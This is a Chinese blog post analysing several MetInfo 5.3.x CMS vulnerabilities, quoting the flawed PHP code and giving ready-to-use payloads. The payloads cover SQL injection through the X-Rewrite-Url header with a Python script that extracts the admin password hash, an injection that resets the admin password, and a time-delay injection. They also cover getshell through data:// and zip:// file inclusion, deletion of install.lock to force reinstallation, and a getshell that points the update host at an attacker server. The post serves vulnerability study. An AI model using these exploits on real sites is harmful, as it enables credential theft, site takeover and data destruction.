metinfo5.3漏洞分析

Metinfo 5.3.17 前台SQL注入漏洞分析

主要是参考p神的文章 

注入点出现再一个公共函数库中/include/global.func.php中的jump_pseudo()

function jump_pseudo(){
	global $db,$met_skin_user,$pseudo_jump;
	global $met_column,$met_news,$met_product,$met_download,$met_img,$met_job;
	global $class1,$class2,$class3,$id,$lang,$page,$selectedjob;
	global $met_index_type,$index,$met_pseudo;
	if($met_pseudo){
		$metadmin[pagename]=1;
		$pseudo_url=$_SERVER[HTTP_X_REWRITE_URL]?$_SERVER[HTTP_X_REWRITE_URL]:$_SERVER[REQUEST_URI];
		$pseudo_jump=@strstr($_SERVER['SERVER_SOFTWARE'],'IIS')&&$_SERVER[HTTP_X_REWRITE_URL]==''?1:$pseudo_jump;
		$dirs=explode('/',$pseudo_url);
		$dir_dirname=$dirs[count($dirs)-2];
		$dir_filename=$dirs[count($dirs)-1];
		if($pseudo_jump!=1){
			$dir_filenames=explode('?',$dir_filename);
			switch($dir_filenames[0]){
				case 'index.php':
					if(!$class1&&!$class2&&!$class3){
						if($index=='index'){
							if($lang==$met_index_type){
								$jump['url']='./';
							}else{
								$jump['url']='index-'.$lang.'.html';
							}
						}else{
							if($lang==$met_index_type){
								$jump['url']='./';
							}else{
								$id=$class3?$class3:($class2?$class2:$class1);
								if($id){
									$query="select * from $met_column where id='$id'";
								}else{
									$query="select * from $met_column where foldername='$dir_dirname' and lang='$lang' and (classtype='1' or releclass!='0') order by id asc";
								}
								$jump=$db->get_one($query);
								$psid= ($jump['filename']<>"" and $metadmin['pagename'])?$jump['filename']:$jump['id'];
								if($jump[module]==1){
									$jump['url']='./'.$psid.'-'.$lang.'.html';
								}else if($jump[module]==8){
									$jump['url']='./'.'index-'.$lang.'.html';
								}
								else{
									if($page&&$page!=1)$psid.='-'.$page;
									$jump['url']='./'.'list-'.$psid.'-'.$lang.'.html';
								}
							}
						}
					}else{
						……
					}
					break;
			……
			if($jump['url']){
				$jump['url']=str_replace('./','',$jump['url']);
				$jump['url']='http://'.$_SERVER[HTTP_HOST].str_replace($dir_filename,$jump['url'],$_SERVER[REQUEST_URI]);
				Header("HTTP/1.1 301 Moved Permanently"); 
				Header("Location: $jump[url]");	
			}
		}
	}
}

主要着眼于这两个语句

$pseudo_url=$_SERVER[HTTP_X_REWRITE_URL]?$_SERVER[HTTP_X_REWRITE_URL]:$_SERVER[REQUEST_URI];

$query="select * from $met_column where foldername='$dir_dirname' and lang='$lang' and (classtype='1' or releclass!='0') order by id asc";

其中的$dir_dirname变量也是由$pseudo_url所决定的

$dirs=explode('/',$pseudo_url); 
$dir_dirname=$dirs[count($dirs)-2];

由于$pseudo_url的获取方式是直接从http头获取,而过滤函数也仅仅只是对_GET、_POST、_COOKIE这几个函数进行了过滤,恰好http头是可以控的,所以只要能成功进入sql执行语句,就可以触发sql注入

foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
	foreach($$_request as $_key => $_value) {
		$_key{0} != '_' && $$_key = daddslashes($_value,0,0,1);
		$_M['form'][$_key] = daddslashes($_value,0,0,1);
	}
}

最后执行后的结果会存放在jump[url]中,然后再location的响应头中能看见

里面由很多if、switch case的判断,我简单罗列一下要进入sql语句的条件

  • if($met_pseudo)
  • if($pseudo_jump!=1)
  • switch($dir_filenames[0])   case ‘index.php’
  • ! if(!$class1&&!$class2&&!$class3)
  • ! $index==’index’
  • ! if($lang==$met_index_type)
  • ! $id

需要寻找一下这些变量是从何而来的

1、$met_pseudo=0;//关闭伪静态 意为该变量是代表着该系统是否开启了伪静态,这个也是漏洞触发的一个限制条件。需要管理员开启了伪静态配置

2、$pseudo_jump=@strstr($_SERVER['SERVER_SOFTWARE'],'IIS')&&$_SERVER[HTTP_X_REWRITE_URL]==''?1:$pseudo_jump;满足if($pseudo_jump!=1)的话只需要web_server不是iis或者http_x_rewrite_url的存在即可

3、只要$psedudo_url最后一个参数设为index即可满足条件

$dirs=explode('/',$pseudo_url); 
$dir_filename=$dirs[count($dirs)-1];

4、class1、2、3只要不主动传入即为空

5、$index变量不传入时为index,只要任意传入一个index变量后即为指定的参数

6、一个比较头大的地方

当传入?lang=cn时,会使条件不成立。传入en时,由于metinfo获取配置变量是根据lang从数控中获取的。然而英文不存在伪静态配置,会恢复默认配置,导致条件一失败。不传入时则会报错

mysql的一个大小写特性,选择字符格式时,会有如下后缀cicsbin

ci 表示 case insensitive (大小写不敏感)
cs 表示 case sensitive (大小写敏感)
bin 表示按照二进制比较

此处,表则是使用的ci(自我感觉大多数表也都用的时是这个)
所以当我们传入大小写混写时,能成功选出配置参数,也能绕过!(Cn==cn)

7、class1、2、3为空时条件成立

调用该函数的页面也就只有一个index.php。根据以上分析,可以如下构造http请求

  • lang=Cn  (get)
  • index=xx  (get)
  • X_REWRITE_URL : x’ union select 1,2,3,admin_pass,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 from met_admin_table limit 1#/index.php          (http头)

最后附上小型的检测脚本把

#encoding=utf8
import requests,re

url = "http://localhost/metinfo5.3"

params = dict(lang='Cn',index='')
url+='/index.php'
headers = {"X-Rewrite-Url": "x' union select 1,2,3,admin_pass,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 from met_admin_table limit 1#/index.php"}
r = requests.get(url,params=params,headers=headers,allow_redirects=False)
t = re.search('list-(.*)-Cn',r.headers['Location'])
print(t.group(1))

 

 

Metinfo 5.3.1注入漏洞

参考文章

漏洞主要是利用json_encode时会对双引号、转义符进行转义,导致单引号的逃逸

admin/include/global.func.php的1456行save_met_cookie函数

function save_met_cookie(){
	global $met_cookie,$db,$met_admin_table;
	$met_cookie['time']=time();
	$json=json_encode($met_cookie);
	$username=$met_cookie[metinfo_admin_id]?$met_cookie[metinfo_admin_id]:$met_cookie[metinfo_member_id];
	$username=daddslashes($username,0,1);
	$query="update $met_admin_table set cookie='$json' where id='$username'";

	$user=$db->query($query);
	die($query);
}

这里对met_cookie进行json_encode之后,就直接插入数据库。接下来找下$met_cookie定义的地方,在/admin/include/common.inc.php中73行开始

其实一开始不是很懂他在干什么,后来想想可能是怕$met_cookie变量覆盖把,但是这样直接覆盖$met_cookie_filter也似乎没什么区别

找一个函数的利用页面 /admin/login_check.php

里面有几处调用了这个函数,本来是想着分析下运行逻辑的,后来嫌麻烦先直接运行下,在save_met_cookie()这下了个短点,直接输出下语句看看

发现确实是成功进来了,也覆盖了之前的$met_cookie变量

试着构造下变量met_cookie_filter[a]=a' where id=sleep(3)%23

成功延时三秒,表示注入成功,可以进行延时注入

或者直接修改下管理员密码met_cookie_filter[a]=a',admin_pass=md5(123456) where id=1%23

 

MetInfo 5.3.12 注入漏洞

参考链接

这个漏洞产生的原因和漏洞挖掘的方法主要有如下几点

  • 利用未对$_SERVER变量进行处理直接带入sql语句,导致的sql注入
  • 利用$_SERVER[‘PHP_SELF’]的可伪造性,使得注入语句可控

先来了解下$_SERVER[‘PHP_SELF’]这个变量,不妨先把,$_SERVER var_dump一下

  • request_uri  是除去host的完整uri
  • script_name 则是当前运行的脚本
  • php_self 则是当前出去host的url路径

另一种方式比较script_name和php_self可能更加明显


然后来说下这次的漏洞,漏洞发生在\app\system\include\compatible\metv5_top.php文件下

//获取当前应用栏目信息
$PHP_SELF = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
$PHP_SELFs = explode('/', $PHP_SELF);
$query = "SELECT * FROM {$_M['table'][column]} where module!=0 and foldername = '{$PHP_SELFs[count($PHP_SELFs)-2]}' and lang='{$_M['lang']}'";
$column = DB::get_one($query);

这里$PHP_SELF变量就是从$_SERVER[‘PHP_SELF’]中获取的,并且没做任何过滤,用 / 分割,并取了倒数第二个量插入数据库

接下来就是寻找下调用该文件的地方(其实感觉这种深层调用还是比较难找)

然后找到一个/member/login.php页面
先查看一下正常进入时的变量

可以看见,取的变量就是以 / 分割后的倒数第二个变量,尝试一下进行构造url

member/login.php/1'%20or%20sleep(3)%20%23/a

发现语句以及成功被注入了,也成功的进行的延时

 

Metinfo5.3.10版本Getshell

参考柠檬师傅的文章

漏洞形成原因还是由于metinfo的全局变量覆盖,导致$depth变量未进行初始化然后产生的变量覆盖漏洞。

漏洞形成于\admin\login\login_check.php

此处可以很明显的看到,在包含了common.inc之后,并未对$depth进行重新赋值,然后传入到require_once中,导致了文件包含
不过感觉师傅们的利用技巧也十分精妙,学到了一手

虽然此处对$depth变量进行了包含,但是后面也连同上了../include/captcha.class.php这些字符串,这个就是新学到的一些利用技巧和姿势了。

在php的文件包含中,就不得不提到php的伪协议(关于php伪协议的利用,大家可以参考下这篇文章),这里主要利用了zip://data://两个伪协议

先来看下data://伪协议的利用姿势

data://协议是受限于allow_url_fopenallow_url_include的,也就是远程文件打开和远程文件包含,allow_url_fopen默认情况下就是打开的,allow_url_include则是需要手动打开,利用需要一些条件

先来看下payload再一起分析吧

GET:  ?&depth=data://text/plain;base64,PD9waHAgcGhwaW5mbygpO2V4aXQoKTsvLw==
POST:  action=login&met_login_code=1

POST中两个参数,是为了变量覆盖,然后进入到文件包含的语句当中。
GET中的$depth,不妨先看下完整的包含的路径

data://text/plain;base64,PD9waHAgcGhwaW5mbygpO2V4aXQoKTsvLw==../include/captcha.class.php

这样就相当于将../include/captcha.class.php也当作base64的一部分,然后试着将后面内容解码

可以看到,利用//将后面的乱码部分进行注释,从而绕过了字符串连接的限制,并成功的进行了代码执行。

 

然而默认情况下allow_url_include是关闭的,也一般没什么人会去自动打开,这时,zip://这种利用技巧虽然有些麻烦,但是适用度就更加广了

zip://的使用方法

zip://archive.zip#dir/file.txt
zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]

zip://协议会对该文件进行解析(即使后缀不是zip),然后包含zip下对应的文件
再选择对应文件名时,是用#分割,恰好可以利用这一点,将无用的../include/captcha.class.php这些字符串利用起来

具体的构造方法:

先构造aa/include/captcha.class.php这样一个对应文件夹下的文件,然后压缩成zip,再用二进制编辑器打开,将对应的aa处改成..

修改下后缀名,再member处就有一个上传头像的地方,将文件上传

这时候的包含路径就变成了

zip://D:\\Program Files\\wamp\\www\\metinfo5.3\\upload\\head\\1.png#../include/captcha.class.php

构造一下payload

GET: http://localhost/metinfo5.3/admin/login/login_check.php?langset=cn&depth=zip://D:\Program Files\wamp\www\metinfo5.3\upload\head\1.png%23
POST: action=login&met_login_code=1

这里zip://似乎不能用相对路径,所以想要成功包含,还得提前知道web目录的路径

成功执行

 

metinfo全版本csrf重装漏洞

感觉metinfo的漏洞主要都是围绕着那个伪全局变量展开的,感觉修修补补一般都治标不治本
这回这个漏洞依旧是利用变量未初始化,导致的变量覆盖,从而任意文件删除,参考文章

漏洞发生在admin\app\batch\csvup.php文件下

可以看到$filenamecsv在此之前并没有进行过赋值,那也就意味着可以任意文件删除
接下来看下触发到这一行的条件

  • 第二行的login_check.php对身份验证
  • $classcsv要有值存在

身份验证的也是这个漏洞的一个限制条件,要么有管理员权限,要么后期构造利用csrf让管理员触发

$classcsv变量可以溯源看到是由$fileField变量而来,然而$fileField也一样是可以被覆盖的

于是构造payload

?fileField=1&flienamecsv=../../../robots.txt

成功删除了robots.txt,实际中可以删除install.lock文件,导致系统重装

 

metinfo后台getshell

版本暂时不详,本地测试的是5.3.5,参考文章

漏洞发生在/admin/app/physical/physical.php文件中的网站扫描功能
其会访问metinfo官网提供的api接口,从而更新本地的php文件,由于接口地址的可覆盖,导致了任意写入php文件导致getshell

漏洞发生代码如下

if($physicaldo[11]==1){
	require_once $depth.'../../include/export.func.php';
	$met_file='/dl/standard.php';
	$post=array('ver'=>$metcms_v,'app'=>$applist);
	$result=curl_post($post,60);
		if(link_error($result)==1){
		$results=explode('',$result);
		file_put_contents('dlappfile.php',$results[1]);
		file_put_contents('standard.php',$results[0].$results[1]);
	}
	if(file_exists('standard.php')){filescan('../../..','standard.php');}
	else{$physical_file="0";}
}

看到写入文件的$result是又curl_post获取的,跟进curl_post函数看下

function curl_post($post,$timeout){
global $met_weburl,$met_host,$met_file;
$host=$met_host;
$file=$met_file;
	if(get_extension_funcs('curl')&&function_exists('curl_init')&&function_exists('curl_setopt')&&function_exists('curl_exec')&&function_exists('curl_close')){
		$curlHandle=curl_init(); 
		curl_setopt($curlHandle,CURLOPT_URL,'http://'.$host.$file); 
		curl_setopt($curlHandle,CURLOPT_REFERER,$met_weburl);
		curl_setopt($curlHandle,CURLOPT_RETURNTRANSFER,1); 
		curl_setopt($curlHandle,CURLOPT_CONNECTTIMEOUT,$timeout);
		curl_setopt($curlHandle,CURLOPT_TIMEOUT,$timeout);
		curl_setopt($curlHandle,CURLOPT_POST, 1);	
		curl_setopt($curlHandle,CURLOPT_POSTFIELDS, $post);
		$result=curl_exec($curlHandle); 
		curl_close($curlHandle); 
		//die($result);
	}
	……

想要伪造$result的话,主要可以伪造的变量有$met_host和$met_file
然而$met_file在传入之前进行了重新赋值$met_file='/dl/standard.php';,然而$met_host并没有进行重新赋值
根据metinfo的伪全局变量,就可以传入参数覆盖$met_host

于是可以在自己的服务器中新建 /dl/standard.php文件如下

metinfo<Met><?php echo "<?php phpinfo();?>";?><Met><?php echo "<?php phpinfo();?>";?>

然后构造如下payload

admin/app/physical/physical.php?action=do&met_host=127.0.0.1

成功写入

 

 

 

 

 

 

 

 

发表评论

电子邮件地址不会被公开。 必填项已用*标注